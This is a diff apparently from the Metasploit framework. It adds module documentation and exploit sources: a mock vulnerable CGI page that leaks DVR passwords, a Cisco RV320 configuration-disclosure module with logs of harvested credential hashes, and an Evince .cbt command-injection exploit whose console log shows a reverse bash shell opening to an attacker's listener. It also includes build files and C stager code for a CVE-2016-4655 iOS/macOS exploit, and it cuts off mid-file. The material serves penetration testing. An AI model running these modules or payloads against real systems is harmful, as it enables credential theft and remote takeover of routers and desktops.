|
||||
This module has been verified against the mock vulnerable page listed below.
|
||||
|
||||
### Mock Vulnerable Page
|
||||
|
||||
These instructions will create a cgi environment and a vulnerable perl application for exploitation.
|
||||
Kali rolling (2019.1) was utilized for this tutorial, with apache.
|
||||
|
||||
#### Setup
|
||||
|
||||
1. Enable cgi: `a2enmod cgid`
|
||||
2. `mkdir /var/www/html/cgi-bin`
|
||||
3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
|
||||
4. Create the vulnerable page by writing the following text to `/var/www/html/cgi-bin/read.cgi`:
|
||||
|
||||
```
|
||||
#!/usr/bin/perl
|
||||
use CGI qw(:standard);
|
||||
$query = new CGI;
|
||||
print $query->header( -type=> "text/javascript"),
|
||||
$query->import_names( 'Q' );
|
||||
|
||||
my $data = <<'DATA';
|
||||
var pw_enflag = "1";
|
||||
var pw_adminpw = "12345";
|
||||
var pw_retype1 = "12345";
|
||||
var pw_userpw = "56789";
|
||||
var pw_retype2 = "56789";
|
||||
var pw_autolock = "0";
|
||||
DATA
|
||||
|
||||
if ($Q::page == 2) {
|
||||
print $data;
|
||||
}
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. ```use auxiliary/gather/c2s_dvr_password_disclosure```
|
||||
3. ```set rhosts [rhosts]```
|
||||
4. ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Against the Mock page listed above
|
||||
|
||||
```
|
||||
resource (c2s.rb)> use auxiliary/gather/c2s_dvr_password_disclosure
|
||||
resource (c2s.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (c2s.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (c2s.rb)> exploit
|
||||
[*] Attempting to load data from /cgi-bin/read.cgi?page=2
|
||||
[+] Found: admin:12345
|
||||
[+] Found: user:56789
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] Starting persistent handler(s)...
|
||||
msf5 auxiliary(gather/c2s_dvr_password_disclosure) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
127.0.0.1 127.0.0.1 80/tcp (http) admin 12345 Password
|
||||
127.0.0.1 127.0.0.1 80/tcp (http) user 56789 Password
|
||||
```
|
|
@ -0,0 +1,124 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[CVE-2019-1653](https://nvd.nist.gov/vuln/detail/CVE-2019-1653) (aka Cisco Bugtracker ID [CSCvg85922](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info)) is an unauthenticated disclosure of device configuration information for the Cisco RV320/RV325 small business router. The vulnerability was responsibly disclosed by [RedTeam Pentesting GmbH](https://seclists.org/fulldisclosure/2019/Jan/52).
|
||||
|
||||
An exposed remote administration interface (on :443) would allow an attacker to retrieve password hashes and other sensitive device configuration information. On version `1.4.2.15`, the vulnerabilty is exploitable via the WAN interface on port 8007 (by default) or 443 (if remote administration is enabled), in addition to port 443 on the LAN side. On version `1.4.2.17`, only LAN port 443 is accessible by default, but user configuration can open port 443 for remote management on the WAN side, making the device vulnerable externally.
|
||||
|
||||
More context is available from [Rapid7's blog post](https://blog.rapid7.com/2019/01/29/cisco-r-rv320-rv325-router-unauthenticated-configuration-export-vulnerability-cve-2019-1653-what-you-need-to-know/).
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/gather/cisco_rv320_config`
|
||||
3. `set RHOSTS 192.168.1.1` (default LAN IP) or to the WAN interface
|
||||
4. `run`
|
||||
5. Review the downloaded configuration file cited in the output. For example:
|
||||
>```
|
||||
>[+] Stored configuration (128658 bytes) to /home/administrator/.msf4/loot/20190206213439_default_172.16.0.34_cisco.rv.config_791561.txt
|
||||
>```
|
||||
6. If the database is connected, review the `hosts`, `creds`, and `loot` commands
|
||||
|
||||
## Options
|
||||
|
||||
*SSL*: Should be set to 'true' for port 443 and set to 'false' for port 80 or port 8007.
|
||||
|
||||
*TARGETURI*: Should point to the `/cgi-bin/config.exp` endpoint and likely should never be changed.
|
||||
|
||||
## Scenarios
|
||||
|
||||
#### Against firmware version 1.4.2.15, which on the LAN side, port 443:
|
||||
|
||||
```
|
||||
msf5 >
|
||||
msf5 > use auxiliary/gather/cisco_rv320_config
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
|
||||
RHOSTS => 192.168.1.1
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > run
|
||||
|
||||
[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Against firmware version 1.4.2.15, on the WAN side, port 8007:
|
||||
|
||||
```
|
||||
msf5 >
|
||||
msf5 > use auxiliary/gather/cisco_rv320_config
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 172.16.0.34
|
||||
RHOSTS => 192.168.1.1
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > set RPORT 8007
|
||||
RPORT => 8007
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > set SSL false
|
||||
SSL => false
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > run
|
||||
|
||||
[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Against firmware version 1.4.2.17, which on the LAN side, port 443:
|
||||
|
||||
```
|
||||
msf5 >
|
||||
msf5 > use auxiliary/gather/cisco_rv320_config
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
|
||||
RHOSTS => 192.168.1.1
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > run
|
||||
|
||||
[+] Stored configuration (128628 bytes) to /home/administrator/.msf4/loot/20190206165015_default_192.168.1.1_cisco.rv.config_434637.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### Against newer firmware (>= 1.4.2.19):
|
||||
|
||||
```
|
||||
msf5 >
|
||||
msf5 > use auxiliary/gather/cisco_rv320_config
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > set RHOSTS 192.168.1.1
|
||||
RHOSTS => 192.168.1.1
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > run
|
||||
|
||||
[-] Auxiliary aborted due to failure: not-vulnerable: Response suggests device is patched
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
#### If module succeeds, check the database:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > hosts
|
||||
|
||||
Hosts
|
||||
=====
|
||||
|
||||
address mac name os_name os_flavor os_sp purpose info comments
|
||||
------- --- ---- ------- --------- ----- ------- ---- --------
|
||||
172.16.0.34 70:E4:22:94:E7:20 router94e720 Cisco RV320
|
||||
192.168.1.1 70:E4:22:94:E7:20 router94e720 Cisco RV320
|
||||
```
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
172.16.0.34 192.168.1.1 8007/tcp (http) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash
|
||||
192.168.1.1 192.168.1.1 443/tcp (https) cisco $1$mldcsfp$gCrnS7A0ta6E5EzwDiZ9t/ Nonreplayable hash
|
||||
```
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/cisco_rv320_config) > loot
|
||||
|
||||
Loot
|
||||
====
|
||||
|
||||
host service type name content info path
|
||||
---- ------- ---- ---- ------- ---- ----
|
||||
172.16.0.34 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206213439_default_172.16.0.34_cisco.rv.config_791561.txt
|
||||
192.168.1.1 cisco.rv.config text/plain /home/administrator/.msf4/loot/20190206211312_default_192.168.1.1_cisco.rv.config_412095.txt
|
||||
```
|
|
@ -0,0 +1,83 @@
|
|||
## Description
|
||||
|
||||
This module exploits a command injection vulnerability in Evince
|
||||
before version 3.24.1 when opening comic book `.cbt` files.
|
||||
|
||||
Some file manager software, such as Nautilus and Atril, may allow
|
||||
automatic exploitation without user interaction due to thumbnailer
|
||||
preview functionality.
|
||||
|
||||
Note that limited space is available for the payload (<256 bytes).
|
||||
Reverse Bash and Reverse Netcat payloads should be sufficiently small.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Evince](https://wiki.gnome.org/Apps/Evince) is a document viewer
|
||||
for multiple document formats.
|
||||
|
||||
This module has been tested successfully on evince versions:
|
||||
|
||||
* 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6
|
||||
* 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/multi/fileformat/evince_cbt_cmd_injection```
|
||||
2. ```set PAYLOAD <PAYLOAD>```
|
||||
3. ```run```
|
||||
4. The module should generate the malicious `msf.cbt` file
|
||||
5. ```handler -p <PAYLOAD> -H <LHOST> -P <LPORT>```
|
||||
6. Copy `msf.cbt` to target host and open with Evince
|
||||
7. You should receive a new session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**FILENAME**
|
||||
|
||||
The cbt document file name (default: `msf.cbt`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/fileformat/evince_cbt_cmd_injection
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > run
|
||||
|
||||
[*] Writing file: msf.cbt (1078272 bytes) ...
|
||||
[+] msf.cbt stored at /root/.msf4/local/msf.cbt
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > mv /root/.msf4/local/msf.cbt /var/www
|
||||
[*] exec: mv /root/.msf4/local/msf.cbt /var/www
|
||||
|
||||
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > use exploit/multi/handler
|
||||
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_bash
|
||||
payload => cmd/unix/reverse_bash
|
||||
msf5 exploit(multi/handler) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Command shell session 1 opened (172.16.191.188:4444 -> 172.16.191.160:39362) at 2019-02-03 00:16:59 -0500
|
||||
|
||||
id
|
||||
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
uname -a
|
||||
Linux ubuntu-16-04-x64 4.4.0-140-generic #166-Ubuntu SMP Wed Nov 14 20:09:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
|
||||
## Manual Cleanup
|
||||
|
||||
To prevent re-exploitation from a thumbnailer process:
|
||||
|
||||
```
|
||||
/usr/bin/killall evince-thumbnailer
|
||||
/usr/bin/killall atril-thumbnailer
|
||||
```
|
||||
|
|
@ -1,11 +1,12 @@
|
|||
#CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
|
||||
CFLAGS_32=-fno-stack-protector -fno-exceptions -fPIC -Os -O0
|
||||
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
|
||||
GCC_BIN_IOS=`xcrun --sdk iphoneos -f gcc`
|
||||
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
|
||||
GCC_BASE_IOS=$(GCC_BIN_IOS) $(CFLAGS)
|
||||
GCC_BASE_IOS=$(GCC_BIN_IOS)
|
||||
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
|
||||
SDK_IOS=`xcrun --sdk iphoneos --show-sdk-path`
|
||||
GCC_IOS=$(GCC_BASE_IOS) -arch arm64 -isysroot $(SDK_IOS) \
|
||||
GCC_IOS=$(GCC_BASE_IOS) $(CFLAGS) -arch arm64 -isysroot $(SDK_IOS) \
|
||||
-Iheaders -framework CoreFoundation -framework Foundation -framework IOKit \
|
||||
-I/Users/User/rsync/mettle/build/aarch64-iphone-darwin/include \
|
||||
-I/Users/User/rsync/mettle/mettle/src \
|
||||
|
@ -13,7 +14,10 @@ GCC_IOS=$(GCC_BASE_IOS) -arch arm64 -isysroot $(SDK_IOS) \
|
|||
-lmettle -lsigar -lev -lz -leio -ldnet -lcurl -lmbedx509 -lmbedtls -lmbedcrypto \
|
||||
-framework CoreVideo -framework CoreImage -framework CoreGraphics -framework CoreMedia -framework AVFoundation -framework UIKit
|
||||
|
||||
all: clean main_ios
|
||||
GCC_IOS_32=$(GCC_BASE_IOS) $(CFLAGS_32) -arch armv7 -isysroot $(SDK_IOS) \
|
||||
-Iheaders
|
||||
|
||||
all: clean main_ios main_ios32
|
||||
|
||||
flatten: flatten-macho.m
|
||||
$(GCC_OSX) -o $@ $^
|
||||
|
@ -21,12 +25,21 @@ flatten: flatten-macho.m
|
|||
main_ios: main.m exploit64.m find.m main.m nvpatch.m set.m
|
||||
$(GCC_IOS) -o $@ $^
|
||||
|
||||
main_ios32: main32.c
|
||||
$(GCC_IOS_32) -o $@ $^
|
||||
|
||||
main_ios32.bin: main_ios32
|
||||
ruby create_bin.rb main_ios32
|
||||
|
||||
main_vm: flatten main_ios
|
||||
./flatten main_ios main_vm
|
||||
|
||||
install: main_vm
|
||||
cp main_vm ../../../../data/exploits/CVE-2016-4655/exploit
|
||||
|
||||
clean:
|
||||
rm -f *.o main_ios main_vm flatten
|
||||
install32: main_ios32.bin
|
||||
cp main_ios32.bin ../../../../data/exploits/CVE-2016-4655/exploit32
|
||||
|
||||
clean:
|
||||
rm -f *.o main_ios main_ios32 main_ios32.bin main_vm flatten
|
||||
|
||||
|
|
|
@ -0,0 +1,52 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'macho'
|
||||
|
||||
stager_file = ARGV[0]
|
||||
data = File.binread(stager_file)
|
||||
macho = MachO::MachOFile.new_from_bin(data)
|
||||
main_func = macho[:LC_MAIN].first
|
||||
entry_offset = main_func.entryoff
|
||||
|
||||
start = -1
|
||||
min = -1
|
||||
max = 0
|
||||
for segment in macho.segments
|
||||
next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
|
||||
puts "segment: #{segment.segname} #{segment.vmaddr.to_s(16)}"
|
||||
if min == -1 or min > segment.vmaddr
|
||||
min = segment.vmaddr
|
||||
end
|
||||
if max < segment.vmaddr + segment.vmsize
|
||||
max = segment.vmaddr + segment.vmsize
|
||||
end
|
||||
end
|
||||
|
||||
puts "data: #{min.to_s(16)} -> #{max.to_s(16)} #{(max - min).to_s(16)}"
|
||||
output_data = "\x00" * (max - min)
|
||||
|
||||
for segment in macho.segments
|
||||
#next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
|
||||
puts "segment: #{segment.segname} off: #{segment.offset.to_s(16)} vmaddr: #{segment.vmaddr.to_s(16)} fileoff: #{segment.fileoff.to_s(16)}"
|
||||
for section in segment.sections
|
||||
puts "section: #{section.sectname} off: #{section.offset.to_s(16)} addr: #{section.addr.to_s(16)} size: #{section.size.to_s(16)}"
|
||||
flat_addr = section.addr - min
|
||||
section_data = data[section.offset, section.size]
|
||||
#file_section = section.offset
|
||||
#puts "info: #{segment.fileoff.to_s(16)} #{segment.offset.to_s(16)} #{section.size.to_s(16)} #{file_section.to_s(16)}"
|
||||
#puts "?: #{data.size.to_s(16)} #{file_section.to_s(16)}"
|
||||
if section_data
|
||||
puts "flat_addr: #{flat_addr.to_s(16)} (#{section_data.size.to_s(16)})"
|
||||
if start == -1 or start > flat_addr
|
||||
start = flat_addr
|
||||
end
|
||||
output_data[flat_addr, section_data.size] = section_data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
puts "start: #{start.to_s(16)}"
|
||||
output_data = output_data[start..-1]
|
||||
File.binwrite(stager_file + ".bin", output_data)
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,241 @@
|
|||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <mach-o/dyld.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include <dlfcn.h>
|
||||
#include <asl.h>
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/sysctl.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define DEBUG 1
|
||||
|
||||
#if __aarch64__
|
||||
typedef struct mach_header_64 mach_header_t;
|
||||
typedef struct segment_command_64 segment_command_t;
|
||||
typedef struct section_64 section_t;
|
||||
typedef struct nlist_64 nlist_t;
|
||||
#define MH_MAGIC_T MH_MAGIC_64
|
||||
#define LC_SEGMENT_T LC_SEGMENT_64
|
||||
#else
|
||||
typedef struct mach_header mach_header_t;
|
||||
typedef struct segment_command segment_command_t;
|
||||
typedef struct section section_t;
|
||||
typedef struct nlist nlist_t;
|
||||
#define MH_MAGIC_T MH_MAGIC
|
||||
#define LC_SEGMENT_T LC_SEGMENT
|
||||
#endif
|
||||
|
||||
//https://github.com/opensource-apple/dyld/blob/master/configs/dyld.xcconfig - iOS 9.3.4
|
||||
#ifdef __x86_64
|
||||
#define DYLD_BASE_ADDRESS 0x7fff5fc00000
|
||||
#elif __arm64
|
||||
#define DYLD_BASE_ADDRESS 0x120000000
|
||||
#elif __arm
|
||||
#define DYLD_BASE_ADDRESS 0x1fe00000
|
||||
#else
|
||||
#endif
|
||||
|
||||
int string_compare(const char* s1, const char* s2);
|
||||
long asm_syscall(const long syscall_number, const long arg1, const long arg2, const long arg3, const long arg4, const long arg5, const long arg6);
|
||||
void resolve_dyld_symbol(void* base, void** dlopen_pointer, void** dlsym_pointer);
|
||||
uint64_t syscall_chmod(uint64_t path, long mode);
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
|
||||
void init_exploit(void * dlsym_addr, void * dlopen_addr);
|
||||
void init_main();
|
||||
void init();
|
||||
|
||||
int main()
|
||||
{
|
||||
init();
|
||||
}
|
||||
|
||||
void init()
|
||||
{
|
||||
void* dlopen_addr = 0;
|
||||
void* dlsym_addr = 0;
|
||||
|
||||
uint64_t start = DYLD_BASE_ADDRESS;
|
||||
/*if (sierra) {*/
|
||||
/*}*/
|
||||
uint64_t dyld = find_macho(start, 0x1000, 0);
|
||||
|
||||
resolve_dyld_symbol((void*)dyld, &dlopen_addr, &dlsym_addr);
|
||||
|
||||
typedef void* (*dlopen_ptr)(const char *filename, int flags);
|
||||
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
|
||||
dlopen_ptr dlopen_func = dlopen_addr;
|
||||
dlsym_ptr dlsym_func = dlsym_addr;
|
||||
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
|
||||
|
||||
// Suspend threads
|
||||
typedef mach_port_t (*mach_task_self_ptr)();
|
||||
typedef thread_port_t (*mach_thread_self_ptr)();
|
||||
typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
|
||||
typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
|
||||
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
|
||||
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
|
||||
mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
|
||||
thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
|
||||
task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
|
||||
thread_act_t current_thread = mach_thread_self_func();
|
||||
mach_msg_type_number_t thread_count;
|
||||
thread_act_array_t thread_list;
|
||||
kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
|
||||
if (!result && thread_count) {
|
||||
for (unsigned int i = 0; i < thread_count; ++i) {
|
||||
thread_act_t other_thread = thread_list[i];
|
||||
if (other_thread != current_thread) {
|
||||
thread_suspend_func(other_thread);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Run exploit
|
||||
init_exploit(dlsym_addr, dlopen_addr);
|
||||
|
||||
}
|
||||
|
||||
uint64_t syscall_chmod(uint64_t path, long mode)
|
||||
{
|
||||
return asm_syscall(15, path, mode, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
long asm_syscall(const long syscall_number, const long arg1, const long arg2, const long arg3, const long arg4, const long arg5, const long arg6){
|
||||
long ret;
|
||||
#ifdef __x86_64
|
||||
asm volatile (
|
||||
"movq %1, %%rax\n\t"
|
||||
"movq %2, %%rdi\n\t"
|
||||
"movq %3, %%rsi\n\t"
|
||||
"movq %4, %%rdx\n\t"
|
||||
"movq %5, %%rcx\n\t"
|
||||
"movq %6, %%r8\n\t"
|
||||
"movq %7, %%r9\n\t"
|
||||
"syscall"
|
||||
: "=a"(ret)
|
||||
: "g"(syscall_number), "g"(arg1), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5), "g"(arg6) );
|
||||
#elif __arm__
|
||||
volatile register uint32_t r12 asm("r12") = syscall_number;
|
||||
volatile register uint32_t r0 asm("r0") = arg1;
|
||||
volatile register uint32_t r1 asm("r1") = arg2;
|
||||
volatile register uint32_t r2 asm("r2") = arg3;
|
||||
volatile register uint32_t r3 asm("r3") = arg4;
|
||||
volatile register uint32_t r4 asm("r4") = arg5;
|
||||
volatile register uint32_t r5 asm("r5") = arg6;
|
||||
volatile register uint32_t xret asm("r0");
|
||||
asm volatile (
|
||||
"mov r0, %2\n"
|
||||
"mov r1, %3\n"
|
||||
"mov r2, %4\n"
|
||||
"mov r3, %5\n"
|
||||
"mov r4, %6\n"
|
||||
"mov r5, %7\n"
|
||||
"mov r12, %1\n"
|
||||
"swi 0x80\n"
|
||||
"mov %0, r0\n"
|
||||
: "=r"(xret)
|
||||
: "r"(r12), "r"(r0), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5)
|
||||
: "r0", "r1", "r2", "r3", "r4", "r5", "r12");
|
||||
ret = xret;
|
||||
#elif __aarch64__
|
||||
// : ¯\_(ツ)_/¯
|
||||
volatile register uint64_t x16 asm("x16") = syscall_number;
|
||||
volatile register uint64_t x0 asm("x0") = arg1;
|
||||
volatile register uint64_t x1 asm("x1") = arg2;
|
||||
volatile register uint64_t x2 asm("x2") = arg3;
|
||||
volatile register uint64_t x3 asm("x3") = arg4;
|
||||
volatile register uint64_t x4 asm("x4") = arg5;
|
||||
volatile register uint64_t x5 asm("x5") = arg6;
|
||||
volatile register uint64_t xret asm("x0");
|
||||
asm volatile (
|
||||
"mov x0, %2\n\t"
|
||||
"mov x1, %3\n\t"
|
||||
"mov x2, %4\n\t"
|
||||
"mov x3, %5\n\t"
|
||||
"mov x4, %6\n\t"
|
||||
"mov x5, %7\n\t"
|
||||
"mov x16, %1\n\t"
|
||||
"svc 0x80\n\t"
|
||||
"mov %0, x0\n\t"
|
||||
: "=r"(xret)
|
||||
: "r"(x16), "r"(x0), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
|
||||
: "x0", "x1", "x2", "x3", "x4", "x5", "x16");
|
||||
ret = xret;
|
||||
#endif
|
||||
return ret;
|
||||
}
|
||||
|
||||
int string_compare(const char* s1, const char* s2)
|
||||
{
|
||||
while (*s1 != '\0' && *s1 == *s2)
|
||||
{
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
return (*(unsigned char *) s1) - (*(unsigned char *) s2);
|
||||
}
|
||||
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
|
||||
{
|
||||
while(1) {
|
||||
uint64_t ptr = addr;
|
||||
if (pointer) {
|
||||
ptr = *(uint64_t *)ptr;
|
||||
}
|
||||
unsigned long ret = syscall_chmod(ptr, 0777);
|
||||
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_T) {
|
||||
return ptr;
|
||||
}
|
||||
|
||||
addr += increment;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Credits: http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html
|
||||
void resolve_dyld_symbol(void* base, void** dlopen_pointer, void** dlsym_pointer)
|
||||
{
|
||||
struct load_command* lc;
|
||||
segment_command_t* sc;
|
||||
segment_command_t* data;
|
||||
section_t* data_const = 0;
|
||||
lc = (struct load_command*)(base + sizeof(mach_header_t));
|
||||
|
||||
for (int i=0;i<((mach_header_t*)base)->ncmds; i++) {
|
||||
if (lc->cmd == LC_SEGMENT_T) {
|
||||
sc = (struct segment_command*)lc;
|
||||
if (string_compare(sc->segname, "__DATA") == 0) {
|
||||
data = (struct segment_command*)lc;
|
||||
break;
|
||||
}
|
||||
}
|
||||
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
|
||||
}
|
||||
data_const = (section_t*)(data + 1);
|
||||
for (int i=0; i<data->nsects; i++,data_const++) {
|
||||
if (string_compare(data_const->sectname, "__const") == 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
void **dataConst = base + data_const->offset;
|
||||
|
||||
while (!*dlopen_pointer || !*dlsym_pointer) {
|
||||
if (string_compare((char*)(dataConst[0]), "__dyld_dlopen") == 0) {
|
||||
*dlopen_pointer = (void*)dataConst[1];
|
||||
}
|
||||
if (string_compare((char*)(dataConst[0]), "__dyld_dlsym") == 0) {
|
||||
*dlsym_pointer = (void*)dataConst[1];
|
||||
}
|
||||
dataConst += 2;
|
||||
}
|
||||
}
|
||||
|
||||
#include "exploit32.c"
|
||||
|
File diff suppressed because it is too large
Load Diff
|
@ -1,10 +0,0 @@
|
|||
#!/bin/bash
|
||||
|
||||
make clean
|
||||
rsync -azPr -e "ssh -p2222" --delete . localhost:rsync/cve/
|
||||
ssh -p2222 localhost "bash -l -c 'cd rsync/cve && make main_vm' && echo Done!"
|
||||
rsync -azPr -e "ssh -p2222" --delete localhost:rsync/cve/ .
|
||||
ls -l main_vm
|
||||
cp main_vm ../../../../data/exploits/CVE-2016-4655/exploit
|
||||
|
||||
|
|
@ -20,9 +20,11 @@
|
|||
typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
|
||||
typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
|
||||
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
|
||||
typedef NSSymbol (*NSLookupSymbolInModule_ptr)(NSModule module, const char *symbolName);
|
||||
typedef void * (*NSAddressOfSymbol_ptr)(NSSymbol symbol);
|
||||
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment);
|
||||
uint64_t find_symbol(uint64_t base, char* symbol);
|
||||
uint64_t find_entry_offset(struct mach_header_64 *mh);
|
||||
int string_compare(const char* s1, const char* s2);
|
||||
int detect_sierra();
|
||||
|
||||
|
@ -52,20 +54,24 @@ int main(int argc, char** argv)
|
|||
int sierra = detect_sierra();
|
||||
uint64_t binary = DYLD_BASE_ADDR;
|
||||
if (sierra) {
|
||||
binary = find_macho(0x100000000, 0x1000, 0);
|
||||
binary = find_macho(0x100000000, 0x1000);
|
||||
if (!binary) {
|
||||
return 1;
|
||||
}
|
||||
binary += 0x1000;
|
||||
}
|
||||
uint64_t dyld = find_macho(binary, 0x1000, 0);
|
||||
uint64_t dyld = find_macho(binary, 0x1000);
|
||||
if (!dyld) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
|
||||
if (!NSCreateObjectFileImageFromMemory_func) {
|
||||
return 1;
|
||||
dyld = find_macho(dyld + 0x1000, 0x1000);
|
||||
NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
|
||||
if (!NSCreateObjectFileImageFromMemory_func) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
#ifdef DEBUG
|
||||
print("good symbol!\n");
|
||||
|
@ -76,9 +82,21 @@ int main(int argc, char** argv)
|
|||
return 1;
|
||||
}
|
||||
|
||||
NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = (void*)find_symbol(dyld, "_NSLookupSymbolInModule");
|
||||
if (!NSLookupSymbolInModule_func) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSAddressOfSymbol_ptr NSAddressOfSymbol_func = (void*)find_symbol(dyld, "_NSAddressOfSymbol");
|
||||
if (!NSAddressOfSymbol_func) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!sierra) {
|
||||
